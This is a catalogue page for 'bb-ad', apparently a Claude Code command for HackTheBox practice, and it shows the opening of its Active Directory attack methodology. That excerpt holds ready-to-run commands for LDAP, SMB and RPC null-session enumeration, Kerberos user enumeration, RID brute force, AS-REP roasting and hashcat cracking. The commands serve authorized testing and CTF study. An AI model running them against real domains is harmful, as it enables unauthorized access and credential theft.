A collection of commands and methods for examining and attacking Microsoft Active Directory, the system many organizations use to manage Windows users, computers, and permissions.

Use it during authorized security testing of Windows domain environments. It covers LDAP and SMB enumeration, Kerberos attacks, and domain privilege escalation.

It gives a structured approach to finding domain information, accounts, groups, computers, shared folders, and possible privilege-escalation paths in a Windows domain.

bb-ad — Command for Claude Code by allsmog: A collection of commands and methods for examining and…

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods

npx agentmods add commands/allsmog/blackbox-claude-plugin/bb-ad

Clone the repo

git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/bb-ad.svg)](https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-ad)

Your own site

<a href="https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-ad"><img src="https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/bb-ad.svg" alt="Measured on agentmods" height="20"></a>

Per session 44 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.

When invoked 1,754 The whole file, excluding the scripts and references it only reads on demand.

Security scan A 0 findings. Scan, not verified.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00044	$0.01754
Opus 5	$0.00022	$0.00877
Sonnet 5	$0.00009	$0.00351
Haiku 4.5	$0.00004	$0.00175

Measured 6d ago against content hash bfb433520cfe, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade A, and why

bb-ad scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

blackbox-htb/commands/bb-ad.md · 265 lines

How it starts

The opening of the file, as written. The whole thing — 265 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Active Directory Attacks

Overview

Comprehensive Active Directory enumeration and attack methodology for HTB Windows domain machines.

Phase 1: Domain Discovery

Identify Domain Controller

# Check for DC via DNS
nmap -p53 <TARGET> --script dns-nsid

# Check Kerberos
nmap -p88 <TARGET>

# Check LDAP
nmap -p389,636 <TARGET> --script ldap-rootdse

Enumerate Domain Info

# Get domain name from LDAP
ldapsearch -x -H ldap://<TARGET> -s base namingContexts

# Get domain info
crackmapexec smb <TARGET>

Phase 2: Anonymous/Null Session Enumeration

LDAP Anonymous Bind

# Try anonymous bind
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=*)"

# Enumerate users
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName

# Enumerate computers
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=computer)" dNSHostName

# Enumerate groups
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=group)" cn member

SMB Null Session

# List shares anonymously
smbclient -L //<TARGET> -N
crackmapexec smb <TARGET> --shares -u '' -p ''

# Check read access
smbmap -H <TARGET> -u '' -p ''

# Mount accessible shares
mount -t cifs //<TARGET>/share /mnt -o user=''

RPC Enumeration

# Connect with null session
rpcclient -U '' -N <TARGET>

# Commands in rpcclient:
# enumdomusers - list domain users
# enumdomgroups - list domain groups
# querydispinfo - get user info
# querydominfo - domain info

Phase 3: User Enumeration

Kerbrute

# User enumeration via Kerberos
kerbrute userenum -d <DOMAIN> --dc <TARGET> \
    /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o ad/users.txt

RID Cycling

# Enumerate users via RID brute force
crackmapexec smb <TARGET> -u '' -p '' --rid-brute

# Impacket
lookupsid.py <DOMAIN>/''@<TARGET> -no-pass

Phase 4: Kerberos Attacks

AS-REP Roasting (No Creds Required)

# Find accounts with "Do not require Kerberos preauthentication"
GetNPUsers.py <DOMAIN>/ -no-pass -usersfile users.txt -dc-ip <TARGET> -format hashcat -outputfile asrep.txt

# Crack hashes
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Read the full file on GitHub · 265 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

6d ago First seen · 265 lines · 44 tokens per session scan A bfb433520cfe

Subscribe to this mod's changes

bb-ad is a command published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 44 tokens to every session and 1,754 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Security claude-code claude-code-plugin ctf hackthebox pentesting

pentest

Activate pentest mode — displays ASCII art, configures session isolation, collects engagement scope, then OWNS the engagement: pre-flight, recon, planning (via the pentester-orchestrator planner), executor dispatch, a time-budget quota loop, aggregation, and report generation.

Stickman230/claude-pentest · 58 tokens

bb-ad